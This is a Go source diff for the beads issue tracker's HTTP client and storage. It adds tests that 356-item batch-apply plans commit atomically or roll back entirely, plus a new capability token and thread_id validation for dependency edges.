+//go:build cgo + +// Written fresh for OSS beads S5 (no bd-enterprise source copied). + +package httpclient + +import ( + "errors" + "testing" + + "github.com/steveyegge/beads/internal/storage/batchfixtures" + "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" +) + +// TestServedBatchApplyShape356CommitsAtomically and +// TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows are the http +// leg's half of slice S5's named trio ("a 356-item plan against a masked +// server refuses pre-dial; against the main server it commits atomically; an +// injected mid-plan failure leaves zero rows"). The masked-server half lives +// in internal/httpclient/wire (TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing): +// the item-count gate it exercises never looks past len(body.Items), so a +// synthetic plan there is behaviorally identical to a REAL +// batchfixtures.Shape356 plan for that one gate. These two cases are what a +// REALISTIC, heterogeneous 356-item plan (the design's primary measured +// shape: 102 creates with metadata, 136 blocks edges, 102 tracks-to-root +// edges, 16 assign updates) must still do once past that gate: commit every +// row in one transaction, or refuse the whole thing and leave none. +// +// Both drive the real in-process bd serve stack (newServedEnv), which +// unconditionally advertises issues.batchApplyLarge in its static +// behaviorCapabilities -- so neither needs the masked handshake the other +// case already covers; they are about the CONTENT this gate lets through, +// not the gate itself. + +// TestServedBatchApplyShape356CommitsAtomically applies the full 356-item +// shape once and asserts the whole plan actually landed: every create's key +// bound to a minted id, and the issues table holding exactly one row per +// create on top of the pre-seeded root -- proving the client's positional +// result-decoding and key-binding checks (decodeApplyBatchResult, +// checkApplyKeyBinding) hold up at this scale, not only on the handful-of- +// items plans the rest of served_batch_apply_test.go uses. +func TestServedBatchApplyShape356CommitsAtomically(t *testing.T) { + env := newServedEnv(t, "hbalg0") + ctx := t.Context() + + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, root, "tester"); err != nil { + t.Fatalf("seed root issue: %v", err) + } + + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + + plan := batchfixtures.Shape356("tester", root.ID) + wantCreates := 0 + for _, item := range plan.Items { + if item.Kind == issueops.ItemCreate { + wantCreates++ + } + } + + result, err := applier.ApplyBatch(ctx, plan) + if err != nil { + t.Fatalf("ApplyBatch(%d items): %v", len(plan.Items), err) + } + if len(result.Items) != len(plan.Items) { + t.Fatalf("got %d item results, want %d (one per requested item)", len(result.Items), len(plan.Items)) + } + if len(result.Keys) != wantCreates { + t.Errorf("got %d bound keys, want %d (one per named create)", len(result.Keys), wantCreates) + } + + var createdRows int + if err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE id != ?", []any{root.ID}, &createdRows); err != nil { + t.Fatalf("count created rows: %v", err) + } + if createdRows != wantCreates { + t.Errorf("issues table holds %d non-root row(s) after a %d-item apply, want %d (every create must have landed, none dropped or duplicated)", + createdRows, len(plan.Items), wantCreates) + } +} + +// TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows is the "injected +// mid-plan failure" half: the full 356-item shape, plus one more item at the +// tail guarding the PRE-EXISTING root issue with a deliberately stale +// ExpectedVersion. The root is never created or touched by any of the 356 +// shape items, so this guard takes the real precondition_failed round trip +// (not the static "guard on a row this same request already wrote" refusal +// RunBatchApplyRefusesExpectedVersionOnARowAnEarlierItemCreated/Touched pin +// elsewhere) -- proving, at realistic scale, both Requirement 2 (a batch +// item's ExpectedVersion rides the strict revision token and a server-side +// precondition_failed maps back to issueops.ErrVersionMismatch via +// errors.Is) and the "never chunk" ceiling: a 357-item ALL-OR-NOTHING +// request that fails on its last item must leave NONE of the other 356 +// rows behind, which a client that silently split the request into several +// smaller ones could not guarantee. +func TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows(t *testing.T) { + env := newServedEnv(t, "hbalg1") + ctx := t.Context() + + root := &types.Issue{Title: "root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask} + if err := env.createIssue(ctx, root, "tester"); err != nil { + t.Fatalf("seed root issue: %v", err) + } + + applier, err := env.subject.BatchApplier() + if err != nil { + t.Fatalf("BatchApplier(): %v", err) + } + + plan := batchfixtures.Shape356("tester", root.ID) + staleVersion := int64(999999) + plan.Items = append(plan.Items, issueops.ApplyItem{ + Kind: issueops.ItemUpdate, + Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: root.ID}, + Patch: issueops.IssuePatch{Title: issueops.Field[string]{Set: true, Value: "clobbered"}}, + ExpectedVersion: &staleVersion, + }, + }) + lastIndex := len(plan.Items) - 1 + + _, err = applier.ApplyBatch(ctx, plan) + if !errors.Is(err, issueops.ErrVersionMismatch) { + t.Fatalf("a stale ExpectedVersion on a %d-item plan: error = %v, want ErrVersionMismatch", len(plan.Items), err) + } + var itemErr *issueops.ItemError + if !errors.As(err, &itemErr) { + t.Fatalf("error = %v, want the refusal wrapped in an *ItemError naming the item", err) + } + if itemErr.Index != lastIndex || itemErr.IssueID != root.ID { + t.Errorf("ItemError = %#v, want Index %d acting on %s", itemErr, lastIndex, root.ID) + } + + // Nothing from the 356-item shape landed: no creates, and the root's own + // title is untouched by the refused guard. + var createdRows int + if err := env.queryScalar(ctx, "SELECT COUNT(*) FROM issues WHERE id != ?", []any{root.ID}, &createdRows); err != nil { + t.Fatalf("count created rows: %v", err) + } + if createdRows != 0 { + t.Errorf("issues table holds %d non-root row(s) after a refused %d-item apply, want 0 (an all-or-nothing request must leave nothing behind)", + createdRows, len(plan.Items)) + } + var title string + if err := env.queryScalar(ctx, "SELECT title FROM issues WHERE id = ?", []any{root.ID}, &title); err != nil { + t.Fatalf("read back root title: %v", err) + } + if title != root.Title { + t.Errorf("root title = %q after a refused guard, want unchanged %q", title, root.Title) + } +} diff --git a/internal/httpclient/served_batch_apply_test.go b/internal/httpclient/served_batch_apply_test.go index f6c8a6257..d7fa20172 100644 --- a/internal/httpclient/served_batch_apply_test.go +++ b/internal/httpclient/served_batch_apply_test.go @@ -6,6 +6,8 @@ package httpclient import ( + "context" + "encoding/json" "errors" "strings" "testing" @@ -34,9 +36,11 @@ import ( // shared database would turn an id collision between two contracts into a // debugging session. -// applyParkBead owns this family's two parks: L-apply-ref's unparks when the -// wire grows a typed ref-key member on the problem document, and -// W-DepAddItem.HasSpawner's when ApplyDepAddItem publishes a spawner member. +// applyParkBead owns this family's one remaining park: L-apply-ref's unparks +// when the wire grows a typed ref-key member on the problem document. +// W-DepAddItem.HasSpawner's park UNPARKED under issues.batchApply.depAddLineage +// (S5) — ApplyDepAddItem now publishes a spawner member — and +// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed runs unskipped below. const applyParkBead = "ga-mijra" func newServedBatchApplyFixture(t *testing.T, prefix string) conformance.BatchApplyFixture { @@ -174,18 +178,6 @@ func TestServedBatchApplyNormalizesTheWaitsForGate(t *testing.T) { conformance.RunBatchApplyNormalizesTheWaitsForGate(t, t.Context(), newServedBatchApplyFixture(t, "hba1c")) } -// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed parks on the edge item's -// spawner flag. The case's second half, an edge that names no spawner, is what -// this wire writes for every waits-for edge; its first half is the item the -// client refuses. -func TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T) { - skipKnownDivergence(t, "W-DepAddItem.HasSpawner", applyParkBead, - "the case names a spawner on a waits-for edge (DepAddItem.HasSpawner), and ApplyDepAddItem publishes no "+ - "spawner member, so the client refuses the item rather than letting the server store the edge without "+ - "the spawner_id the role would stamp from its resolved target.") - conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, t.Context(), newServedBatchApplyFixture(t, "hba27")) -} - func TestServedBatchApplySplicesAForwardMetadataRef(t *testing.T) { conformance.RunBatchApplySplicesAForwardMetadataRef(t, t.Context(), newServedBatchApplyFixture(t, "hba1d")) } @@ -255,6 +247,43 @@ func TestServedBatchApplyRefusesAnUnusableRequest(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, t.Context(), newServedBatchApplyFixture(t, "hba26")) } +// TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed wires the dep_add +// HasSpawner/ThreadID lineage conformance case onto the http leg (S5): a +// served default Config always advertises CapBatchApplyDepAddLineage (it is +// in httpapi's unconditional behaviorCapabilities), so this exercises the +// member on the WIRE, round-tripping through refuseUnservedDepAddLineage's +// pre-dial check (which never fires here, since the capability is present) +// and applyDepAddItemBody's encoding, server-side batch_apply.go decode, and +// the role's own StampWaitsForSpawnerID. +func TestServedBatchApplyStampsSpawnerIDOnlyWhenNamed(t *testing.T) { + conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, t.Context(), newServedBatchApplyFixture(t, "hba27")) +} + +// TestServedBatchApplyCarriesThreadIDOntoTheStoredEdge wires +// DepAddItem.ThreadID's round trip onto the http leg (S5, 2026-10 Opus-review +// HIGH-2): this is the ONE case that proves the field survives BOTH sides of +// the wire at once — the client's applyDepAddItemBody encode and the server's +// applyDepAddItemMembers decode — since either one dropping thread_id leaves +// the raw dependencies row's thread_id column blank and fails the assertion. +func TestServedBatchApplyCarriesThreadIDOntoTheStoredEdge(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoTheStoredEdge(t, t.Context(), newServedBatchApplyFixture(t, "hba28")) +} + +// TestServedBatchApplyCarriesThreadIDOntoAnExistingEdge wires the re-add arm of +// the same round trip: a thread named on a dep_add whose edge already exists +// must cross the wire and reach the stored row, not stop at the server's +// change-free check. +func TestServedBatchApplyCarriesThreadIDOntoAnExistingEdge(t *testing.T) { + conformance.RunBatchApplyCarriesThreadIDOntoAnExistingEdge(t, t.Context(), newServedBatchApplyFixture(t, "hba29")) +} + +// TestServedBatchApplyRefusesAThreadIDLongerThanItsColumn wires the thread_id +// bound onto the http leg, where the server's decode refuses it before the +// role's plan would; both have to arrive as the same ErrValidation. +func TestServedBatchApplyRefusesAThreadIDLongerThanItsColumn(t *testing.T) { + conformance.RunBatchApplyRefusesAThreadIDLongerThanItsColumn(t, t.Context(), newServedBatchApplyFixture(t, "hba2a")) +} + // TestServedBatchApplyRefusesAMetadataRefWithoutNamingTheKey is the running pin // beside the park above: the same request, driven end to end, asserting // everything the contract asserts EXCEPT the key inside the member — the @@ -455,3 +484,212 @@ func TestServedBatchApplyAnswersEveryItemWithoutASnapshot(t *testing.T) { } } } + +// TestServedBatchApplyGcCloseWithMetadataIfMatch pins the first of DESIGN +// §3.8's two gc mappings (2026-10 Opus-review HIGH-3, no new bd surface): gc's +// RAW-transaction CloseWithMetadataIfMatch maps onto BatchApplier[update{Patch +// Metadata, ExpectedVersion}, close{}] in ONE request — see the BatchApplier +// package doc. +// +// It is atomic because the whole request is: the matching-version half lands +// both the metadata write and the close together, and the stale-version half +// below refuses the update, which refuses the request, so the close beside it +// never runs and NEITHER change lands. +func TestServedBatchApplyGcCloseWithMetadataIfMatch(t *testing.T) { + ctx := t.Context() + fixture := newServedBatchApplyFixture(t, "hbagc0") + + id := fixture.IssuePrefix + "-close-with-metadata" + if err := fixture.CreateIssue(ctx, &types.Issue{ID: id, Title: "closed with a metadata guard", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, "apply-seed"); err != nil { + t.Fatalf("seeding %s: %v", id, err) + } + var version int64 + if err := fixture.QueryScalar(ctx, "SELECT row_lock FROM issues WHERE id = ?", []any{id}, &version); err != nil { + t.Fatalf("reading row_lock for %s: %v", id, err) + } + + _, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemUpdate, Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: id}, + Patch: issueops.IssuePatch{Metadata: issueops.MetadataPatch{ + Merge: issueops.Field[json.RawMessage]{Set: true, Value: json.RawMessage(`{"closed_via":"gc"}`)}, + }}, + ExpectedVersion: &version, + }}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: id}}}, + }, + }) + if err != nil { + t.Fatalf("CloseWithMetadataIfMatch with the current version: %v", err) + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "status", id); got != string(types.StatusClosed) { + t.Errorf("status = %q, want %q", got, types.StatusClosed) + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "metadata", id); !strings.Contains(got, "closed_via") { + t.Errorf("metadata = %q, want it to carry the merged key", got) + } + + // The stale half: the same shape, a version that is no longer current. The + // WHOLE request refuses and ZERO rows change — neither the metadata merge + // nor the close. + id2 := fixture.IssuePrefix + "-close-with-metadata-stale" + if err := fixture.CreateIssue(ctx, &types.Issue{ID: id2, Title: "a stale guard leaves zero changes", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, "apply-seed"); err != nil { + t.Fatalf("seeding %s: %v", id2, err) + } + var version2 int64 + if err := fixture.QueryScalar(ctx, "SELECT row_lock FROM issues WHERE id = ?", []any{id2}, &version2); err != nil { + t.Fatalf("reading row_lock for %s: %v", id2, err) + } + stale := version2 - 1 + _, err = fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", + Items: []issueops.ApplyItem{ + {Kind: issueops.ItemUpdate, Update: &issueops.UpdateItem{ + Target: issueops.Ref{ID: id2}, + Patch: issueops.IssuePatch{Metadata: issueops.MetadataPatch{ + Merge: issueops.Field[json.RawMessage]{Set: true, Value: json.RawMessage(`{"closed_via":"gc"}`)}, + }}, + ExpectedVersion: &stale, + }}, + {Kind: issueops.ItemClose, Close: &issueops.CloseItem{Target: issueops.Ref{ID: id2}}}, + }, + }) + if !errors.Is(err, issueops.ErrVersionMismatch) { + t.Fatalf("a stale ExpectedVersion: error = %v, want ErrVersionMismatch", err) + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "status", id2); got == string(types.StatusClosed) { + t.Error("the close landed despite the whole request refusing on the stale guard") + } + if got := batchApplyColumnDirect(t, ctx, &fixture, "metadata", id2); strings.Contains(got, "closed_via") { + t.Error("the metadata merge landed despite the whole request refusing on the stale guard") + } +} + +// batchApplyColumnDirect reads one issues column directly, for the two gc- +// mapping tests above: they are plain package tests rather than +// conformance.Run* cases (the composition is http-leg-only, DESIGN §3.8), so +// they cannot reach the conformance package's unexported batchApplyColumn. +func batchApplyColumnDirect(t *testing.T, ctx context.Context, fixture *conformance.BatchApplyFixture, column, id string) string { + t.Helper() + var value string + //nolint:gosec // G201: column is one of this file's own hardcoded names. + query := "SELECT COALESCE(" + column + ", '') FROM issues WHERE id = ?" + if err := fixture.QueryScalar(ctx, query, []any{id}, &value); err != nil { + t.Fatalf("reading issues.%s for %s: %v", column, id, err) + } + return value +} + +// TestServedBatchApplyGcApplyGraphPlan pins the second of DESIGN §3.8's two gc +// mappings (2026-10 Opus-review HIGH-3): gc's RAW RunInTransaction graph-build +// maps onto one BatchApplier request carrying every item kind the plan needs — +// a keyed create, a MetadataRefs splice, a dep_add edge, a parent-child +// dep_add edge, a waits-for edge naming its spawner by key and carrying a +// thread, and a trailing update for AssignAfterCreate — landing together as +// the one plan a caller composed. +func TestServedBatchApplyGcApplyGraphPlan(t *testing.T) { + ctx := t.Context() + fixture := newServedBatchApplyFixture(t, "hbagc1") + + epic := fixture.IssuePrefix + "-plan-epic" + task := fixture.IssuePrefix + "-plan-task" + blocker := fixture.IssuePrefix + "-plan-blocker" + + result, err := fixture.BatchApplier.ApplyBatch(ctx, issueops.ApplyBatchRequest{ + Actor: "apply-writer", + ForceIDPrefix: true, + Items: []issueops.ApplyItem{ + // A keyed create: the plan's root node. + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "epic", + Issue: &issueops.Issue{ID: epic, Title: "the plan's root", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + }}, + // A second node whose metadata reaches BACKWARD to the epic's minted + // id via MetadataRefs — the splice CreateItem.MetadataRefs documents. + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "task", + Issue: &issueops.Issue{ID: task, Title: "spliced to its epic", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + MetadataRefs: map[string]issueops.Ref{"epic_id": {Key: "epic"}}, + }}, + {Kind: issueops.ItemCreate, Create: &issueops.CreateItem{ + Key: "blocker", + Issue: &issueops.Issue{ID: blocker, Title: "blocks the task", Status: types.StatusOpen, Priority: 2, IssueType: types.TypeTask}, + }}, + // A dep_add edge, plain. + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "task"}, Target: issueops.Ref{Key: "blocker"}, Type: issueops.DepBlocks, + }}, + // A dep_add edge of type parent-child — "parent-child included", same + // item kind as the one above, a different Type. + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "task"}, Target: issueops.Ref{Key: "epic"}, Type: issueops.DepParentChild, + }}, + // A waits-for edge whose spawner is named by plan KEY, with a thread: + // the lineage gc's mapping carries (issues.batchApply.depAddLineage). + // The spawner stamp can only resolve once that key has an id. + {Kind: issueops.ItemDepAdd, DepAdd: &issueops.DepAddItem{ + Source: issueops.Ref{Key: "epic"}, Target: issueops.Ref{Key: "blocker"}, Type: issueops.DepWaitsFor, + HasSpawner: true, ThreadID: "th-plan", + }}, + // A trailing update for AssignAfterCreate, resolving the key BACKWARD + // to the row the first items in this same request just minted. + {Kind: issueops.ItemUpdate, Update: &issueops.UpdateItem{ + Target: issueops.Ref{Key: "task"}, + Patch: issueops.IssuePatch{Assignee: issueops.Field[string]{Set: true, Value: "alice"}}, + }}, + }, + }) + if err != nil { + t.Fatalf("ApplyGraphPlan: %v", err) + } + if len(result.Items) != 7 { + t.Fatalf("ApplyBatch(7 items) returned %d item results", len(result.Items)) + } + + var metadata string + if err := fixture.QueryScalar(ctx, "SELECT COALESCE(metadata, '') FROM issues WHERE id = ?", []any{task}, &metadata); err != nil { + t.Fatalf("reading the spliced metadata: %v", err) + } + if !strings.Contains(metadata, result.Keys["epic"]) { + t.Errorf("task metadata = %q, want the epic's minted id %s spliced over epic_id", metadata, result.Keys["epic"]) + } + + var edges int + const edgeQuery = `SELECT COUNT(*) FROM dependencies WHERE issue_id = ? AND type = ? + AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?` + if err := fixture.QueryScalar(ctx, edgeQuery, []any{task, "blocks", blocker}, &edges); err != nil { + t.Fatalf("counting the blocks edge: %v", err) + } + if edges != 1 { + t.Errorf("blocks edges task->blocker = %d, want 1", edges) + } + if err := fixture.QueryScalar(ctx, edgeQuery, []any{task, "parent-child", epic}, &edges); err != nil { + t.Fatalf("counting the parent-child edge: %v", err) + } + if edges != 1 { + t.Errorf("parent-child edges task->epic = %d, want 1", edges) + } + + var waitsFor, thread string + const lineageQuery = `SELECT COALESCE(metadata, ''), COALESCE(thread_id, '') FROM dependencies + WHERE issue_id = ? AND type = ? AND COALESCE(depends_on_issue_id, depends_on_wisp_id, depends_on_external) = ?` + if err := fixture.QueryScalar(ctx, lineageQuery, []any{epic, "waits-for", blocker}, &waitsFor, &thread); err != nil { + t.Fatalf("reading the waits-for edge epic->blocker: %v", err) + } + var meta types.WaitsForMeta + if err := json.Unmarshal([]byte(waitsFor), &meta); err != nil { + t.Fatalf("waits-for metadata %q is not a gate object: %v", waitsFor, err) + } + if meta.SpawnerID != result.Keys["blocker"] { + t.Errorf("waits-for spawner_id = %q, want the blocker key's minted id %q", meta.SpawnerID, result.Keys["blocker"]) + } + if thread != "th-plan" { + t.Errorf("waits-for thread_id = %q, want %q", thread, "th-plan") + } + + if got := batchApplyColumnDirect(t, ctx, &fixture, "assignee", task); got != "alice" { + t.Errorf("task assignee = %q, want %q (AssignAfterCreate)", got, "alice") + } +} diff --git a/internal/httpclient/served_memories_deps_test.go b/internal/httpclient/served_memories_deps_test.go index 6d97f1d8b..014f38ce3 100644 --- a/internal/httpclient/served_memories_deps_test.go +++ b/internal/httpclient/served_memories_deps_test.go @@ -416,7 +416,7 @@ func TestServedDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t *testi conformance.RunDependencyEditorClosedChildAddSatisfiesAnAnyChildrenGate(t, t.Context(), newServedDependencyEditorFixture(t, "hd38")) } -// The two same-type re-add cases, newly wired: both drive the re-add through +// The same-type re-add cases, newly wired: each drives the re-add through // fixture.AddDependency (the reference store's own raw path, same reason // ClosedChildAddSatisfiesAnAnyChildrenGate reaches past the role above) and // need dual-write version history on, which the fixture now wires onto the @@ -429,3 +429,7 @@ func TestServedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion(t func TestServedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t *testing.T) { conformance.RunDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp(t, t.Context(), newServedDependencyEditorFixture(t, "hd40")) } + +func TestServedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t *testing.T) { + conformance.RunDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion(t, t.Context(), newServedDependencyEditorFixture(t, "hd41")) +} diff --git a/internal/httpclient/sweeper.go b/internal/httpclient/sweeper.go index 28b0e9785..f9c2a7a00 100644 --- a/internal/httpclient/sweeper.go +++ b/internal/httpclient/sweeper.go @@ -135,13 +135,21 @@ func (s *httpSweeper) refuseUnservedSweep(ctx context.Context, tier apigen.Sweep if err != nil { return err } - if tier == apigen.WispsPlane && !slices.Contains(snap.Capabilities, wire.CapSweepWispsPlane) { + // snap is nil, nil whenever Store.snapshot has no transport AND no cached + // handshake (a Store built with a nil wire): nothing was ever advertised, + // so every check below reads a nil capability list rather than + // dereferencing a nil *apigen.ContextResponse. + var capabilities []string + if snap != nil { + capabilities = snap.Capabilities + } + if tier == apigen.WispsPlane && !slices.Contains(capabilities, wire.CapSweepWispsPlane) { return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepWispsPlane) } - if req.ProtectLiveDependents && !slices.Contains(snap.Capabilities, wire.CapSweepLiveDependents) { + if req.ProtectLiveDependents && !slices.Contains(capabilities, wire.CapSweepLiveDependents) { return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLiveDependents) } - if req.Limit != 0 && !slices.Contains(snap.Capabilities, wire.CapSweepLimit) { + if req.Limit != 0 && !slices.Contains(capabilities, wire.CapSweepLimit) { return s.store.unsupportedCapability("Sweeper.Sweep", wire.CapSweepLimit) } return nil diff --git a/internal/httpclient/wire/handshake.go b/internal/httpclient/wire/handshake.go index 13b10b586..b7db819c2 100644 --- a/internal/httpclient/wire/handshake.go +++ b/internal/httpclient/wire/handshake.go @@ -195,6 +195,15 @@ const CapSweepLiveDependents = "issues.sweep.liveDependents" // of what used to be a permanent refusal. const CapSweepLimit = "issues.sweep.limit" +// CapBatchApplyDepAddLineage is the behavior capability announcing that +// issues.batchApply's dep_add items accept `has_spawner` and `thread_id`, +// spelled exactly as httpapi's constant of the same name (held to it by +// TestCapabilityTableMatchesTheServerRouteTable). batchapplier.go reads this +// token before sending either field, refusing locally with a typed +// capability error rather than silently dropping graph lineage a caller +// asked to carry against an older server. +const CapBatchApplyDepAddLineage = "issues.batchApply.depAddLineage" + // CapExternalDependencies is the CONDITIONAL behavior capability announcing // that the ready, claim and close operations of this server apply bd's // external-dependency policy themselves, spelled exactly as httpapi's constant @@ -335,6 +344,7 @@ func (e *WireRevisionSkewError) Unwrap() error { return ErrWireRevisionSkew } var behaviorCapabilities = []string{ CapProjectEnforce, CapBatchApplyLarge, CapListSort, CapCountScope, CapSweepWispsPlane, CapSweepLiveDependents, CapSweepLimit, + CapBatchApplyDepAddLineage, } // CapabilityFor reports the capability token gating op, and whether op is on diff --git a/internal/httpclient/wire/vocabulary_test.go b/internal/httpclient/wire/vocabulary_test.go index 1bee3f45c..23d98908d 100644 --- a/internal/httpclient/wire/vocabulary_test.go +++ b/internal/httpclient/wire/vocabulary_test.go @@ -195,9 +195,11 @@ func TestTheProjectIdentityVocabularyMatchesTheServer(t *testing.T) { if !slices.Equal(behaviorCapabilities, []string{ httpapi.CapProjectEnforce, httpapi.CapBatchApplyLarge, httpapi.CapIssuesListSort, httpapi.CapIssuesCountScope, httpapi.CapIssuesSweepWispsPlane, httpapi.CapIssuesSweepLiveDependents, httpapi.CapIssuesSweepLimit, + httpapi.CapBatchApplyDepAddLineage, }) { t.Errorf("behaviorCapabilities = %v, want the server's project.enforce, issues.batchApplyLarge, issues.list.sort, "+ - "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents and issues.sweep.limit tokens", behaviorCapabilities) + "issues.count.scope, issues.sweep.wispsPlane, issues.sweep.liveDependents, issues.sweep.limit and "+ + "issues.batchApply.depAddLineage tokens", behaviorCapabilities) } } diff --git a/internal/httpclient/wire/writes_batch_cap_test.go b/internal/httpclient/wire/writes_batch_cap_test.go index c023b090b..c3d6d4a5e 100644 --- a/internal/httpclient/wire/writes_batch_cap_test.go +++ b/internal/httpclient/wire/writes_batch_cap_test.go @@ -97,6 +97,40 @@ func TestApplyBatchBetweenTheFloorAndTheCeilingWithTheCapabilitySucceeds(t *test } } +// TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing exercises +// the item-count gate at exactly 356 items -- the design's primary measured +// large-batch-apply shape (internal/storage/batchfixtures.Shape356) -- rather +// than only at the floor+1/ceiling+1 boundaries the other cases above pin. +// applyBatchRequestOfSize's own doc comment is why a synthetic 356-item plan +// is behaviorally identical to a real Shape356 plan for THIS gate: the cap +// logic never looks past len(body.Items). What a REALISTIC Shape356 payload +// must still get past this same gate -- and commit atomically once it does -- +// is covered end-to-end against the real served stack by +// internal/httpclient's TestServedBatchApplyShape356CommitsAtomically and +// TestServedBatchApplyShape356PlusAStaleGuardLeavesZeroRows. +func TestApplyBatchAt356ItemsWithoutTheCapabilityRefusesBeforeDialing(t *testing.T) { + c, rec := newTestClient(t, Options{}, nil, serveEverything(contextBody("v0", "proj-1", withBatchApply()...))) + _, err := c.ApplyBatch(ctx(t), applyBatchRequestOfSize(356)) + + var capErr *CapabilityError + if !errors.As(err, &capErr) { + t.Fatalf("err = %v (%T), want *CapabilityError", err, err) + } + if capErr.Capability != CapBatchApplyLarge { + t.Errorf("Capability = %q, want %q", capErr.Capability, CapBatchApplyLarge) + } + // Never dialed past the handshake: a masked server (one that does not + // advertise CapBatchApplyLarge) must refuse a 356-item plan PRE-DIAL, the + // same way it refuses any other over-floor count. + if rec.count() != 1 { + t.Fatalf("made %d requests, want only the handshake (a 356-item plan must refuse pre-dial against a server that does not advertise %s)", + rec.count(), CapBatchApplyLarge) + } + if got := rec.at(t, 0).path; got != PathContext { + t.Errorf("only request = %q, want %q", got, PathContext) + } +} + func TestApplyBatchOverTheAbsoluteCeilingRefusesRegardlessOfTheCapability(t *testing.T) { for _, tc := range []struct { name string diff --git a/internal/httpclient/write_ledger_test.go b/internal/httpclient/write_ledger_test.go index 29967f9c0..945c51477 100644 --- a/internal/httpclient/write_ledger_test.go +++ b/internal/httpclient/write_ledger_test.go @@ -594,18 +594,24 @@ func writeShapes() []writeShape { }, }, { - // The edge item. The gate normalization a waits-for edge gets is - // the ROLE's and travels inside the blob. HasSpawner and ThreadID - // have no wire member, so they are absent from carried below and - // refuse under W-DepAddItem.HasSpawner and W-DepAddItem.ThreadID. + // The edge item. TOTAL. The gate normalization a waits-for edge + // gets is the ROLE's and travels inside the blob. HasSpawner and + // ThreadID are carried unconditionally at this structural layer — + // CapBatchApplyDepAddLineage is a separate, client-side refusal + // (batchapplier.go's refuseUnservedDepAddLineage) gating WHETHER + // this client sends either member against an older server, not + // whether the field reaches the wire body type at all. (HasSpawner + // off a waits-for edge is the role's no-op, dropped by value.) name: "applyBatch/item/dep_add", source: reflect.TypeOf(issueops.DepAddItem{}), body: reflect.TypeOf(apigen.ApplyDepAddItem{}), carried: map[string]carriage{ - "Source": member("source"), - "Target": member("target"), - "Type": member("type"), - "Metadata": member("metadata"), + "Source": member("source"), + "Target": member("target"), + "Type": member("type"), + "Metadata": member("metadata"), + "HasSpawner": member("has_spawner"), + "ThreadID": member("thread_id"), }, }, { diff --git a/internal/storage/batch_apply.go b/internal/storage/batch_apply.go index 1a2d30afb..6df88107b 100644 --- a/internal/storage/batch_apply.go +++ b/internal/storage/batch_apply.go @@ -243,8 +243,11 @@ func planApplyBatchClose(item *issueops.CloseItem, index int, keyIndex map[strin return nil } -// planApplyBatchDepAdd checks an edge's endpoints and type and normalizes its -// gate metadata. +// planApplyBatchDepAdd checks an edge's endpoints, type and thread id and +// normalizes its gate metadata. The thread id gets its column's bound here, the +// one the http leg's decode already applies, so an over-long one is +// ErrValidation before any database work on every leg rather than a storage +// error mid-transaction on the local ones. // // IT RECORDS NOTHING AS TOUCHED, and that is a decision rather than an // oversight. The ExpectedVersion rule above refuses a guard on a row this @@ -269,6 +272,9 @@ func planApplyBatchDepAdd(item *issueops.DepAddItem, index int, keyIndex map[str return fmt.Errorf("%w: apply batch item %d requires a dependency type (max %d chars)", issueops.ErrValidation, index, types.MaxDependencyTypeLen) } + if err := types.CheckFieldLen("dependency thread_id", item.ThreadID); err != nil { + return fmt.Errorf("%w: apply batch item %d: %v", issueops.ErrValidation, index, err) + } metadata, err := normalizeApplyEdgeMetadata(item.Type, item.Metadata) if err != nil { return fmt.Errorf("%w: apply batch item %d: %v", issueops.ErrValidation, index, err) diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 7c32d9a37..13b950360 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -180,6 +180,21 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyStampsSpawnerIDOnlyWhenNamed(t, ctx, fixture) }) + 